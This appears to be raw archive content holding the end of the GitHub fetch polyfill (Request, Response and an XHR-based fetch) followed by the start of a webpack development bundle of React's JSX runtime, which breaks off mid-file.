          this.headers.set('content-type', 'application/x-www-form-urlencoded;charset=UTF-8');
        }
      }
    };

    if (support.blob) {
      this.blob = function() {
        var rejected = consumed(this);
        if (rejected) {
          return rejected
        }

        if (this._bodyBlob) {
          return Promise.resolve(this._bodyBlob)
        } else if (this._bodyArrayBuffer) {
          return Promise.resolve(new Blob([this._bodyArrayBuffer]))
        } else if (this._bodyFormData) {
          throw new Error('could not read FormData body as blob')
        } else {
          return Promise.resolve(new Blob([this._bodyText]))
        }
      };
    }

    this.arrayBuffer = function() {
      if (this._bodyArrayBuffer) {
        var isConsumed = consumed(this);
        if (isConsumed) {
          return isConsumed
        } else if (ArrayBuffer.isView(this._bodyArrayBuffer)) {
          return Promise.resolve(
            this._bodyArrayBuffer.buffer.slice(
              this._bodyArrayBuffer.byteOffset,
              this._bodyArrayBuffer.byteOffset + this._bodyArrayBuffer.byteLength
            )
          )
        } else {
          return Promise.resolve(this._bodyArrayBuffer)
        }
      } else if (support.blob) {
        return this.blob().then(readBlobAsArrayBuffer)
      } else {
        throw new Error('could not read as ArrayBuffer')
      }
    };

    this.text = function() {
      var rejected = consumed(this);
      if (rejected) {
        return rejected
      }

      if (this._bodyBlob) {
        return readBlobAsText(this._bodyBlob)
      } else if (this._bodyArrayBuffer) {
        return Promise.resolve(readArrayBufferAsText(this._bodyArrayBuffer))
      } else if (this._bodyFormData) {
        throw new Error('could not read FormData body as text')
      } else {
        return Promise.resolve(this._bodyText)
      }
    };

    if (support.formData) {
      this.formData = function() {
        return this.text().then(decode)
      };
    }

    this.json = function() {
      return this.text().then(JSON.parse)
    };

    return this
  }

  // HTTP methods whose capitalization should be normalized
  var methods = ['CONNECT', 'DELETE', 'GET', 'HEAD', 'OPTIONS', 'PATCH', 'POST', 'PUT', 'TRACE'];

  function normalizeMethod(method) {
    var upcased = method.toUpperCase();
    return methods.indexOf(upcased) > -1 ? upcased : method
  }

  function Request(input, options) {
    if (!(this instanceof Request)) {
      throw new TypeError('Please use the "new" operator, this DOM object constructor cannot be called as a function.')
    }

    options = options || {};
    var body = options.body;

    if (input instanceof Request) {
      if (input.bodyUsed) {
        throw new TypeError('Already read')
      }
      this.url = input.url;
      this.credentials = input.credentials;
      if (!options.headers) {
        this.headers = new Headers(input.headers);
      }
      this.method = input.method;
      this.mode = input.mode;
      this.signal = input.signal;
      if (!body && input._bodyInit != null) {
        body = input._bodyInit;
        input.bodyUsed = true;
      }
    } else {
      this.url = String(input);
    }

    this.credentials = options.credentials || this.credentials || 'same-origin';
    if (options.headers || !this.headers) {
      this.headers = new Headers(options.headers);
    }
    this.method = normalizeMethod(options.method || this.method || 'GET');
    this.mode = options.mode || this.mode || null;
    this.signal = options.signal || this.signal || (function () {
      if ('AbortController' in g) {
        var ctrl = new AbortController();
        return ctrl.signal;
      }
    }());
    this.referrer = null;

    if ((this.method === 'GET' || this.method === 'HEAD') && body) {
      throw new TypeError('Body not allowed for GET or HEAD requests')
    }
    this._initBody(body);

    if (this.method === 'GET' || this.method === 'HEAD') {
      if (options.cache === 'no-store' || options.cache === 'no-cache') {
        // Search for a '_' parameter in the query string
        var reParamSearch = /([?&])_=[^&]*/;
        if (reParamSearch.test(this.url)) {
          // If it already exists then set the value with the current time
          this.url = this.url.replace(reParamSearch, '$1_=' + new Date().getTime());
        } else {
          // Otherwise add a new '_' parameter to the end with the current time
          var reQueryString = /\?/;
          this.url += (reQueryString.test(this.url) ? '&' : '?') + '_=' + new Date().getTime();
        }
      }
    }
  }

  Request.prototype.clone = function() {
    return new Request(this, {body: this._bodyInit})
  };

  function decode(body) {
    var form = new FormData();
    body
      .trim()
      .split('&')
      .forEach(function(bytes) {
        if (bytes) {
          var split = bytes.split('=');
          var name = split.shift().replace(/\+/g, ' ');
          var value = split.join('=').replace(/\+/g, ' ');
          form.append(decodeURIComponent(name), decodeURIComponent(value));
        }
      });
    return form
  }

  function parseHeaders(rawHeaders) {
    var headers = new Headers();
    // Replace instances of \r\n and \n followed by at least one space or horizontal tab with a space
    // https://tools.ietf.org/html/rfc7230#section-3.2
    var preProcessedHeaders = rawHeaders.replace(/\r?\n[\t ]+/g, ' ');
    // Avoiding split via regex to work around a common IE11 bug with the core-js 3.6.0 regex polyfill
    // https://github.com/github/fetch/issues/748
    // https://github.com/zloirock/core-js/issues/751
    preProcessedHeaders
      .split('\r')
      .map(function(header) {
        return header.indexOf('\n') === 0 ? header.substr(1, header.length) : header
      })
      .forEach(function(line) {
        var parts = line.split(':');
        var key = parts.shift().trim();
        if (key) {
          var value = parts.join(':').trim();
          try {
            headers.append(key, value);
          } catch (error) {
            console.warn('Response ' + error.message);
          }
        }
      });
    return headers
  }

  Body.call(Request.prototype);

  function Response(bodyInit, options) {
    if (!(this instanceof Response)) {
      throw new TypeError('Please use the "new" operator, this DOM object constructor cannot be called as a function.')
    }
    if (!options) {
      options = {};
    }

    this.type = 'default';
    this.status = options.status === undefined ? 200 : options.status;
    if (this.status < 200 || this.status > 599) {
      throw new RangeError("Failed to construct 'Response': The status provided (0) is outside the range [200, 599].")
    }
    this.ok = this.status >= 200 && this.status < 300;
    this.statusText = options.statusText === undefined ? '' : '' + options.statusText;
    this.headers = new Headers(options.headers);
    this.url = options.url || '';
    this._initBody(bodyInit);
  }

  Body.call(Response.prototype);

  Response.prototype.clone = function() {
    return new Response(this._bodyInit, {
      status: this.status,
      statusText: this.statusText,
      headers: new Headers(this.headers),
      url: this.url
    })
  };

  Response.error = function() {
    var response = new Response(null, {status: 200, statusText: ''});
    response.ok = false;
    response.status = 0;
    response.type = 'error';
    return response
  };

  var redirectStatuses = [301, 302, 303, 307, 308];

  Response.redirect = function(url, status) {
    if (redirectStatuses.indexOf(status) === -1) {
      throw new RangeError('Invalid status code')
    }

    return new Response(null, {status: status, headers: {location: url}})
  };

  exports.DOMException = g.DOMException;
  try {
    new exports.DOMException();
  } catch (err) {
    exports.DOMException = function(message, name) {
      this.message = message;
      this.name = name;
      var error = Error(message);
      this.stack = error.stack;
    };
    exports.DOMException.prototype = Object.create(Error.prototype);
    exports.DOMException.prototype.constructor = exports.DOMException;
  }

  function fetch(input, init) {
    return new Promise(function(resolve, reject) {
      var request = new Request(input, init);

      if (request.signal && request.signal.aborted) {
        return reject(new exports.DOMException('Aborted', 'AbortError'))
      }

      var xhr = new XMLHttpRequest();

      function abortXhr() {
        xhr.abort();
      }

      xhr.onload = function() {
        var options = {
          statusText: xhr.statusText,
          headers: parseHeaders(xhr.getAllResponseHeaders() || '')
        };
        // This check if specifically for when a user fetches a file locally from the file system
        // Only if the status is out of a normal range
        if (request.url.indexOf('file://') === 0 && (xhr.status < 200 || xhr.status > 599)) {
          options.status = 200;
        } else {
          options.status = xhr.status;
        }
        options.url = 'responseURL' in xhr ? xhr.responseURL : options.headers.get('X-Request-URL');
        var body = 'response' in xhr ? xhr.response : xhr.responseText;
        setTimeout(function() {
          resolve(new Response(body, options));
        }, 0);
      };

      xhr.onerror = function() {
        setTimeout(function() {
          reject(new TypeError('Network request failed'));
        }, 0);
      };

      xhr.ontimeout = function() {
        setTimeout(function() {
          reject(new TypeError('Network request timed out'));
        }, 0);
      };

      xhr.onabort = function() {
        setTimeout(function() {
          reject(new exports.DOMException('Aborted', 'AbortError'));
        }, 0);
      };

      function fixUrl(url) {
        try {
          return url === '' && g.location.href ? g.location.href : url
        } catch (e) {
          return url
        }
      }

      xhr.open(request.method, fixUrl(request.url), true);

      if (request.credentials === 'include') {
        xhr.withCredentials = true;
      } else if (request.credentials === 'omit') {
        xhr.withCredentials = false;
      }

      if ('responseType' in xhr) {
        if (support.blob) {
          xhr.responseType = 'blob';
        } else if (
          support.arrayBuffer
        ) {
          xhr.responseType = 'arraybuffer';
        }
      }

      if (init && typeof init.headers === 'object' && !(init.headers instanceof Headers || (g.Headers && init.headers instanceof g.Headers))) {
        var names = [];
        Object.getOwnPropertyNames(init.headers).forEach(function(name) {
          names.push(normalizeName(name));
          xhr.setRequestHeader(name, normalizeValue(init.headers[name]));
        });
        request.headers.forEach(function(value, name) {
          if (names.indexOf(name) === -1) {
            xhr.setRequestHeader(name, value);
          }
        });
      } else {
        request.headers.forEach(function(value, name) {
          xhr.setRequestHeader(name, value);
        });
      }

      if (request.signal) {
        request.signal.addEventListener('abort', abortXhr);

        xhr.onreadystatechange = function() {
          // DONE (success or failure)
          if (xhr.readyState === 4) {
            request.signal.removeEventListener('abort', abortXhr);
          }
        };
      }

      xhr.send(typeof request._bodyInit === 'undefined' ? null : request._bodyInit);
    })
  }

  fetch.polyfill = true;

  if (!g.fetch) {
    g.fetch = fetch;
    g.Headers = Headers;
    g.Request = Request;
    g.Response = Response;
  }

  exports.Headers = Headers;
  exports.Request = Request;
  exports.Response = Response;
  exports.fetch = fetch;

  Object.defineProperty(exports, '__esModule', { value: true });

})));
PKGfd[�|X�����react-jsx-runtime.jsnu�[���/*
 * ATTENTION: The "eval" devtool has been used (maybe by default in mode: "development").
 * This devtool is neither made for production nor for readable output files.
 * It uses "eval()" calls to create a separate source file in the browser devtools.
 * If you are trying to read the output file, select a different devtool (https://webpack.js.org/configuration/devtool/)
 * or disable the default devtool with "devtool: false".
 * If you are looking for production-ready output files, see mode: "production" (https://webpack.js.org/configuration/mode/).
 */
/******/ (() => { // webpackBootstrap
/******/ 	"use strict";
/******/ 	var __webpack_modules__ = ({

/***/ "./node_modules/react/cjs/react-jsx-runtime.development.js":
/*!*****************************************************************!*\
  !*** ./node_modules/react/cjs/react-jsx-runtime.development.js ***!
  \*****************************************************************/
/***/ ((__unused_webpack_module, exports, __webpack_require__) => {

eval("/**\n * @license React\n * react-jsx-runtime.development.js\n *\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\n\n\nif (true) {\n  (function() {\n'use strict';\n\nvar React = __webpack_require__(/*! react */ \"react\");\n\n// ATTENTION\n// When adding new symbols to this file,\n// Please consider also adding to 'react-devtools-shared/src/backend/ReactSymbols'\n// The Symbol used to tag the ReactElement-like types.\nvar REACT_ELEMENT_TYPE = Symbol.for('react.element');\nvar REACT_PORTAL_TYPE = Symbol.for('react.portal');\nvar REACT_FRAGMENT_TYPE = Symbol.for('react.fragment');\nvar REACT_STRICT_MODE_TYPE = Symbol.for('react.strict_mode');\nvar REACT_PROFILER_TYPE = Symbol.for('react.profiler');\nvar REACT_PROVIDER_TYPE = Symbol.for('react.provider');\nvar REACT_CONTEXT_TYPE = Symbol.for('react.context');\nvar REACT_FORWARD_REF_TYPE = Symbol.for('react.forward_ref');\nvar REACT_SUSPENSE_TYPE = Symbol.for('react.suspense');\nvar REACT_SUSPENSE_LIST_TYPE = Symbol.for('react.suspense_list');\nvar REACT_MEMO_TYPE = Symbol.for('react.memo');\nvar REACT_LAZY_TYPE = Symbol.for('react.lazy');\nvar REACT_OFFSCREEN_TYPE = Symbol.for('react.offscreen');\nvar MAYBE_ITERATOR_SYMBOL = Symbol.iterator;\nvar FAUX_ITERATOR_SYMBOL = '@@iterator';\nfunction getIteratorFn(maybeIterable) {\n  if (maybeIterable === null || typeof maybeIterable !== 'object') {\n    return null;\n  }\n\n  var maybeIterator = MAYBE_ITERATOR_SYMBOL && maybeIterable[MAYBE_ITERATOR_SYMBOL] || maybeIterable[FAUX_ITERATOR_SYMBOL];\n\n  if (typeof maybeIterator === 'function') {\n    return maybeIterator;\n  }\n\n  return null;\n}\n\nvar ReactSharedInternals = React.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED;\n\nfunction error(format) {\n  {\n    {\n      for (var _len2 = arguments.length, args = new Array(_len2 > 1 ? _len2 - 1 : 0), _key2 = 1; _key2 < _len2; _key2++) {\n        args[_key2 - 1] = arguments[_key2];\n      }\n\n      printWarning('error', format, args);\n    }\n  }\n}\n\nfunction printWarning(level, format, args) {\n  // When changing this logic, you might want to also\n  // update consoleWithStackDev.www.js as well.\n  {\n    var ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n    var stack = ReactDebugCurrentFrame.getStackAddendum();\n\n    if (stack !== '') {\n      format += '%s';\n      args = args.concat([stack]);\n    } // eslint-disable-next-line react-internal/safe-string-coercion\n\n\n    var argsWithFormat = args.map(function (item) {\n      return String(item);\n    }); // Careful: RN currently depends on this prefix\n\n    argsWithFormat.unshift('Warning: ' + format); // We intentionally don't use spread (or .apply) directly because it\n    // breaks IE9: https://github.com/facebook/react/issues/13610\n    // eslint-disable-next-line react-internal/no-production-logging\n\n    Function.prototype.apply.call(console[level], console, argsWithFormat);\n  }\n}\n\n// -----------------------------------------------------------------------------\n\nvar enableScopeAPI = false; // Experimental Create Event Handle API.\nvar enableCacheElement = false;\nvar enableTransitionTracing = false; // No known bugs, but needs performance testing\n\nvar enableLegacyHidden = false; // Enables unstable_avoidThisFallback feature in Fiber\n// stuff. Intended to enable React core members to more easily debug scheduling\n// issues in DEV builds.\n\nvar enableDebugTracing = false; // Track which Fiber(s) schedule render work.\n\nvar REACT_MODULE_REFERENCE;\n\n{\n  REACT_MODULE_REFERENCE = Symbol.for('react.module.reference');\n}\n\nfunction isValidElementType(type) {\n  if (typeof type === 'string' || typeof type === 'function') {\n    return true;\n  } // Note: typeof might be other than 'symbol' or 'number' (e.g. if it's a polyfill).\n\n\n  if (type === REACT_FRAGMENT_TYPE || type === REACT_PROFILER_TYPE || enableDebugTracing  || type === REACT_STRICT_MODE_TYPE || type === REACT_SUSPENSE_TYPE || type === REACT_SUSPENSE_LIST_TYPE || enableLegacyHidden  || type === REACT_OFFSCREEN_TYPE || enableScopeAPI  || enableCacheElement  || enableTransitionTracing ) {\n    return true;\n  }\n\n  if (typeof type === 'object' && type !== null) {\n    if (type.$$typeof === REACT_LAZY_TYPE || type.$$typeof === REACT_MEMO_TYPE || type.$$typeof === REACT_PROVIDER_TYPE || type.$$typeof === REACT_CONTEXT_TYPE || type.$$typeof === REACT_FORWARD_REF_TYPE || // This needs to include all possible module reference object\n    // types supported by any Flight configuration anywhere since\n    // we don't know which Flight build this will end up being used\n    // with.\n    type.$$typeof === REACT_MODULE_REFERENCE || type.getModuleId !== undefined) {\n      return true;\n    }\n  }\n\n  return false;\n}\n\nfunction getWrappedName(outerType, innerType, wrapperName) {\n  var displayName = outerType.displayName;\n\n  if (displayName) {\n    return displayName;\n  }\n\n  var functionName = innerType.displayName || innerType.name || '';\n  return functionName !== '' ? wrapperName + \"(\" + functionName + \")\" : wrapperName;\n} // Keep in sync with react-reconciler/getComponentNameFromFiber\n\n\nfunction getContextName(type) {\n  return type.displayName || 'Context';\n} // Note that the reconciler package should generally prefer to use getComponentNameFromFiber() instead.\n\n\nfunction getComponentNameFromType(type) {\n  if (type == null) {\n    // Host root, text node or just invalid type.\n    return null;\n  }\n\n  {\n    if (typeof type.tag === 'number') {\n      error('Received an unexpected object in getComponentNameFromType(). ' + 'This is likely a bug in React. Please file an issue.');\n    }\n  }\n\n  if (typeof type === 'function') {\n    return type.displayName || type.name || null;\n  }\n\n  if (typeof type === 'string') {\n    return type;\n  }\n\n  switch (type) {\n    case REACT_FRAGMENT_TYPE:\n      return 'Fragment';\n\n    case REACT_PORTAL_TYPE:\n      return 'Portal';\n\n    case REACT_PROFILER_TYPE:\n      return 'Profiler';\n\n    case REACT_STRICT_MODE_TYPE:\n      return 'StrictMode';\n\n    case REACT_SUSPENSE_TYPE:\n      return 'Suspense';\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return 'SuspenseList';\n\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_CONTEXT_TYPE:\n        var context = type;\n        return getContextName(context) + '.Consumer';\n\n      case REACT_PROVIDER_TYPE:\n        var provider = type;\n        return getContextName(provider._context) + '.Provider';\n\n      case REACT_FORWARD_REF_TYPE:\n        return getWrappedName(type, type.render, 'ForwardRef');\n\n      case REACT_MEMO_TYPE:\n        var outerName = type.displayName || null;\n\n        if (outerName !== null) {\n          return outerName;\n        }\n\n        return getComponentNameFromType(type.type) || 'Memo';\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            return getComponentNameFromType(init(payload));\n          } catch (x) {\n            return null;\n          }\n        }\n\n      // eslint-disable-next-line no-fallthrough\n    }\n  }\n\n  return null;\n}\n\nvar assign = Object.assign;\n\n// Helpers to patch console.logs to avoid logging during side-effect free\n// replaying on render function. This currently only patches the object\n// lazily which won't cover if the log function was extracted eagerly.\n// We could also eagerly patch the method.\nvar disabledDepth = 0;\nvar prevLog;\nvar prevInfo;\nvar prevWarn;\nvar prevError;\nvar prevGroup;\nvar prevGroupCollapsed;\nvar prevGroupEnd;\n\nfunction disabledLog() {}\n\ndisabledLog.__reactDisabledLog = true;\nfunction disableLogs() {\n  {\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      prevLog = console.log;\n      prevInfo = console.info;\n      prevWarn = console.warn;\n      prevError = console.error;\n      prevGroup = console.group;\n      prevGroupCollapsed = console.groupCollapsed;\n      prevGroupEnd = console.groupEnd; // https://github.com/facebook/react/issues/19099\n\n      var props = {\n        configurable: true,\n        enumerable: true,\n        value: disabledLog,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        info: props,\n        log: props,\n        warn: props,\n        error: props,\n        group: props,\n        groupCollapsed: props,\n        groupEnd: props\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    disabledDepth++;\n  }\n}\nfunction reenableLogs() {\n  {\n    disabledDepth--;\n\n    if (disabledDepth === 0) {\n      /* eslint-disable react-internal/no-production-logging */\n      var props = {\n        configurable: true,\n        enumerable: true,\n        writable: true\n      }; // $FlowFixMe Flow thinks console is immutable.\n\n      Object.defineProperties(console, {\n        log: assign({}, props, {\n          value: prevLog\n        }),\n        info: assign({}, props, {\n          value: prevInfo\n        }),\n        warn: assign({}, props, {\n          value: prevWarn\n        }),\n        error: assign({}, props, {\n          value: prevError\n        }),\n        group: assign({}, props, {\n          value: prevGroup\n        }),\n        groupCollapsed: assign({}, props, {\n          value: prevGroupCollapsed\n        }),\n        groupEnd: assign({}, props, {\n          value: prevGroupEnd\n        })\n      });\n      /* eslint-enable react-internal/no-production-logging */\n    }\n\n    if (disabledDepth < 0) {\n      error('disabledDepth fell below zero. ' + 'This is a bug in React. Please file an issue.');\n    }\n  }\n}\n\nvar ReactCurrentDispatcher = ReactSharedInternals.ReactCurrentDispatcher;\nvar prefix;\nfunction describeBuiltInComponentFrame(name, source, ownerFn) {\n  {\n    if (prefix === undefined) {\n      // Extract the VM specific prefix used by each line.\n      try {\n        throw Error();\n      } catch (x) {\n        var match = x.stack.trim().match(/\\n( *(at )?)/);\n        prefix = match && match[1] || '';\n      }\n    } // We use the prefix to ensure our stacks line up with native stack frames.\n\n\n    return '\\n' + prefix + name;\n  }\n}\nvar reentry = false;\nvar componentFrameCache;\n\n{\n  var PossiblyWeakMap = typeof WeakMap === 'function' ? WeakMap : Map;\n  componentFrameCache = new PossiblyWeakMap();\n}\n\nfunction describeNativeComponentFrame(fn, construct) {\n  // If something asked for a stack inside a fake render, it should get ignored.\n  if ( !fn || reentry) {\n    return '';\n  }\n\n  {\n    var frame = componentFrameCache.get(fn);\n\n    if (frame !== undefined) {\n      return frame;\n    }\n  }\n\n  var control;\n  reentry = true;\n  var previousPrepareStackTrace = Error.prepareStackTrace; // $FlowFixMe It does accept undefined.\n\n  Error.prepareStackTrace = undefined;\n  var previousDispatcher;\n\n  {\n    previousDispatcher = ReactCurrentDispatcher.current; // Set the dispatcher in DEV because this might be call in the render function\n    // for warnings.\n\n    ReactCurrentDispatcher.current = null;\n    disableLogs();\n  }\n\n  try {\n    // This should throw.\n    if (construct) {\n      // Something should be setting the props in the constructor.\n      var Fake = function () {\n        throw Error();\n      }; // $FlowFixMe\n\n\n      Object.defineProperty(Fake.prototype, 'props', {\n        set: function () {\n          // We use a throwing setter instead of frozen or non-writable props\n          // because that won't throw in a non-strict mode function.\n          throw Error();\n        }\n      });\n\n      if (typeof Reflect === 'object' && Reflect.construct) {\n        // We construct a different control for this case to include any extra\n        // frames added by the construct call.\n        try {\n          Reflect.construct(Fake, []);\n        } catch (x) {\n          control = x;\n        }\n\n        Reflect.construct(fn, [], Fake);\n      } else {\n        try {\n          Fake.call();\n        } catch (x) {\n          control = x;\n        }\n\n        fn.call(Fake.prototype);\n      }\n    } else {\n      try {\n        throw Error();\n      } catch (x) {\n        control = x;\n      }\n\n      fn();\n    }\n  } catch (sample) {\n    // This is inlined manually because closure doesn't do it for us.\n    if (sample && control && typeof sample.stack === 'string') {\n      // This extracts the first frame from the sample that isn't also in the control.\n      // Skipping one frame that we assume is the frame that calls the two.\n      var sampleLines = sample.stack.split('\\n');\n      var controlLines = control.stack.split('\\n');\n      var s = sampleLines.length - 1;\n      var c = controlLines.length - 1;\n\n      while (s >= 1 && c >= 0 && sampleLines[s] !== controlLines[c]) {\n        // We expect at least one stack frame to be shared.\n        // Typically this will be the root most one. However, stack frames may be\n        // cut off due to maximum stack limits. In this case, one maybe cut off\n        // earlier than the other. We assume that the sample is longer or the same\n        // and there for cut off earlier. So we should find the root most frame in\n        // the sample somewhere in the control.\n        c--;\n      }\n\n      for (; s >= 1 && c >= 0; s--, c--) {\n        // Next we find the first one that isn't the same which should be the\n        // frame that called our sample function and the control.\n        if (sampleLines[s] !== controlLines[c]) {\n          // In V8, the first line is describing the message but other VMs don't.\n          // If we're about to return the first line, and the control is also on the same\n          // line, that's a pretty good indicator that our sample threw at same line as\n          // the control. I.e. before we entered the sample frame. So we ignore this result.\n          // This can happen if you passed a class to function component, or non-function.\n          if (s !== 1 || c !== 1) {\n            do {\n              s--;\n              c--; // We may still have similar intermediate frames from the construct call.\n              // The next one that isn't the same should be our match though.\n\n              if (c < 0 || sampleLines[s] !== controlLines[c]) {\n                // V8 adds a \"new\" prefix for native classes. Let's remove it to make it prettier.\n                var _frame = '\\n' + sampleLines[s].replace(' at new ', ' at '); // If our component frame is labeled \"<anonymous>\"\n                // but we have a user-provided \"displayName\"\n                // splice it in to make the stack more readable.\n\n\n                if (fn.displayName && _frame.includes('<anonymous>')) {\n                  _frame = _frame.replace('<anonymous>', fn.displayName);\n                }\n\n                {\n                  if (typeof fn === 'function') {\n                    componentFrameCache.set(fn, _frame);\n                  }\n                } // Return the line we found.\n\n\n                return _frame;\n              }\n            } while (s >= 1 && c >= 0);\n          }\n\n          break;\n        }\n      }\n    }\n  } finally {\n    reentry = false;\n\n    {\n      ReactCurrentDispatcher.current = previousDispatcher;\n      reenableLogs();\n    }\n\n    Error.prepareStackTrace = previousPrepareStackTrace;\n  } // Fallback to just using the name if we couldn't make it throw.\n\n\n  var name = fn ? fn.displayName || fn.name : '';\n  var syntheticFrame = name ? describeBuiltInComponentFrame(name) : '';\n\n  {\n    if (typeof fn === 'function') {\n      componentFrameCache.set(fn, syntheticFrame);\n    }\n  }\n\n  return syntheticFrame;\n}\nfunction describeFunctionComponentFrame(fn, source, ownerFn) {\n  {\n    return describeNativeComponentFrame(fn, false);\n  }\n}\n\nfunction shouldConstruct(Component) {\n  var prototype = Component.prototype;\n  return !!(prototype && prototype.isReactComponent);\n}\n\nfunction describeUnknownElementTypeFrameInDEV(type, source, ownerFn) {\n\n  if (type == null) {\n    return '';\n  }\n\n  if (typeof type === 'function') {\n    {\n      return describeNativeComponentFrame(type, shouldConstruct(type));\n    }\n  }\n\n  if (typeof type === 'string') {\n    return describeBuiltInComponentFrame(type);\n  }\n\n  switch (type) {\n    case REACT_SUSPENSE_TYPE:\n      return describeBuiltInComponentFrame('Suspense');\n\n    case REACT_SUSPENSE_LIST_TYPE:\n      return describeBuiltInComponentFrame('SuspenseList');\n  }\n\n  if (typeof type === 'object') {\n    switch (type.$$typeof) {\n      case REACT_FORWARD_REF_TYPE:\n        return describeFunctionComponentFrame(type.render);\n\n      case REACT_MEMO_TYPE:\n        // Memo may contain any component type so we recursively resolve it.\n        return describeUnknownElementTypeFrameInDEV(type.type, source, ownerFn);\n\n      case REACT_LAZY_TYPE:\n        {\n          var lazyComponent = type;\n          var payload = lazyComponent._payload;\n          var init = lazyComponent._init;\n\n          try {\n            // Lazy may contain any component type so we recursively resolve it.\n            return describeUnknownElementTypeFrameInDEV(init(payload), source, ownerFn);\n          } catch (x) {}\n        }\n    }\n  }\n\n  return '';\n}\n\nvar hasOwnProperty = Object.prototype.hasOwnProperty;\n\nvar loggedTypeFailures = {};\nvar ReactDebugCurrentFrame = ReactSharedInternals.ReactDebugCurrentFrame;\n\nfunction setCurrentlyValidatingElement(element) {\n  {\n    if (element) {\n      var owner = element._owner;\n      var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);\n      ReactDebugCurrentFrame.setExtraStackFrame(stack);\n    } else {\n      ReactDebugCurrentFrame.setExtraStackFrame(null);\n    }\n  }\n}\n\nfunction checkPropTypes(typeSpecs, values, location, componentName, element) {\n  {\n    // $FlowFixMe This is okay but Flow doesn't know it.\n    var has = Function.call.bind(hasOwnProperty);\n\n    for (var typeSpecName in typeSpecs) {\n      if (has(typeSpecs, typeSpecName)) {\n        var error$1 = void 0; // Prop type validation may throw. In case they do, we don't want to\n        // fail the render phase where it didn't fail before. So we log it.\n        // After these have been cleaned up, we'll let them throw.\n\n        try {\n          // This is intentionally an invariant that gets caught. It's the same\n          // behavior as without this statement except with a better message.\n          if (typeof typeSpecs[typeSpecName] !== 'function') {\n            // eslint-disable-next-line react-internal/prod-error-codes\n            var err = Error((componentName || 'React class') + ': ' + location + ' type `' + typeSpecName + '` is invalid; ' + 'it must be a function, usually from the `prop-types` package, but received `' + typeof typeSpecs[typeSpecName] + '`.' + 'This often happens because of typos such as `PropTypes.function` instead of `PropTypes.func`.');\n            err.name = 'Invariant Violation';\n            throw err;\n          }\n\n          error$1 = typeSpecs[typeSpecName](values, typeSpecName, componentName, location, null, 'SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED');\n        } catch (ex) {\n          error$1 = ex;\n        }\n\n        if (error$1 && !(error$1 instanceof Error)) {\n          setCurrentlyValidatingElement(element);\n\n          error('%s: type specification of %s' + ' `%s` is invalid; the type checker ' + 'function must return `null` or an `Error` but returned a %s. ' + 'You may have forgotten to pass an argument to the type checker ' + 'creator (arrayOf, instanceOf, objectOf, oneOf, oneOfType, and ' + 'shape all require an argument).', componentName || 'React class', location, typeSpecName, typeof error$1);\n\n          setCurrentlyValidatingElement(null);\n        }\n\n        if (error$1 instanceof Error && !(error$1.message in loggedTypeFailures)) {\n          // Only monitor this failure once because there tends to be a lot of the\n          // same error.\n          loggedTypeFailures[error$1.message] = true;\n          setCurrentlyValidatingElement(element);\n\n          error('Failed %s type: %s', location, error$1.message);\n\n          setCurrentlyValidatingElement(null);\n        }\n      }\n    }\n  }\n}\n\nvar isArrayImpl = Array.isArray; // eslint-disable-next-line no-redeclare\n\nfunction isArray(a) {\n  return isArrayImpl(a);\n}\n\n/*\n * The `'' + value` pattern (used in in perf-sensitive code) throws for Symbol\n * and Temporal.* types. See https://github.com/facebook/react/pull/22064.\n *\n * The functions in this module will throw an easier-to-understand,\n * easier-to-debug exception with a clear errors message message explaining the\n * problem. (Instead of a confusing exception thrown inside the implementation\n * of the `value` object).\n */\n// $FlowFixMe only called in DEV, so void return is not possible.\nfunction typeName(value) {\n  {\n    // toStringTag is needed for namespaced types like Temporal.Instant\n    var hasToStringTag = typeof Symbol === 'function' && Symbol.toStringTag;\n    var type = hasToStringTag && value[Symbol.toStringTag] || value.constructor.name || 'Object';\n    return type;\n  }\n} // $FlowFixMe only called in DEV, so void return is not possible.\n\n\nfunction willCoercionThrow(value) {\n  {\n    try {\n      testStringCoercion(value);\n      return false;\n    } catch (e) {\n      return true;\n    }\n  }\n}\n\nfunction testStringCoercion(value) {\n  // If you ended up here by following an exception call stack, here's what's\n  // happened: you supplied an object or symbol value to React (as a prop, key,\n  // DOM attribute, CSS property, string ref, etc.) and when React tried to\n  // coerce it to a string using `'' + value`, an exception was thrown.\n  //\n  // The most common types that will cause this exception are `Symbol` instances\n  // and Temporal objects like `Temporal.Instant`. But any object that has a\n  // `valueOf` or `[Symbol.toPrimitive]` method that throws will also cause this\n  // exception. (Library authors do this to prevent users from using built-in\n  // numeric operators like `+` or comparison operators like `>=` because custom\n  // methods are needed to perform accurate arithmetic or comparison.)\n  //\n  // To fix the problem, coerce this object or symbol value to a string before\n  // passing it to React. The most reliable way is usually `String(value)`.\n  //\n  // To find which value is throwing, check the browser or debugger console.\n  // Before this exception was thrown, there should be `console.error` output\n  // that shows the type (Symbol, Temporal.PlainDate, etc.) that caused the\n  // problem and how that type was used: key, atrribute, input value prop, etc.\n  // In most cases, this console output also shows the component and its\n  // ancestor components where the exception happened.\n  //\n  // eslint-disable-next-line react-internal/safe-string-coercion\n  return '' + value;\n}\nfunction checkKeyStringCoercion(value) {\n  {\n    if (willCoercionThrow(value)) {\n      error('The provided key is an unsupported type %s.' + ' This value must be coerced to a string before before using it here.', typeName(value));\n\n      return testStringCoercion(value); // throw (to help callers find troubleshooting comments)\n    }\n  }\n}\n\nvar ReactCurrentOwner = ReactSharedInternals.ReactCurrentOwner;\nvar RESERVED_PROPS = {\n  key: true,\n  ref: true,\n  __self: true,\n  __source: true\n};\nvar specialPropKeyWarningShown;\nvar specialPropRefWarningShown;\nvar didWarnAboutStringRefs;\n\n{\n  didWarnAboutStringRefs = {};\n}\n\nfunction hasValidRef(config) {\n  {\n    if (hasOwnProperty.call(config, 'ref')) {\n      var getter = Object.getOwnPropertyDescriptor(config, 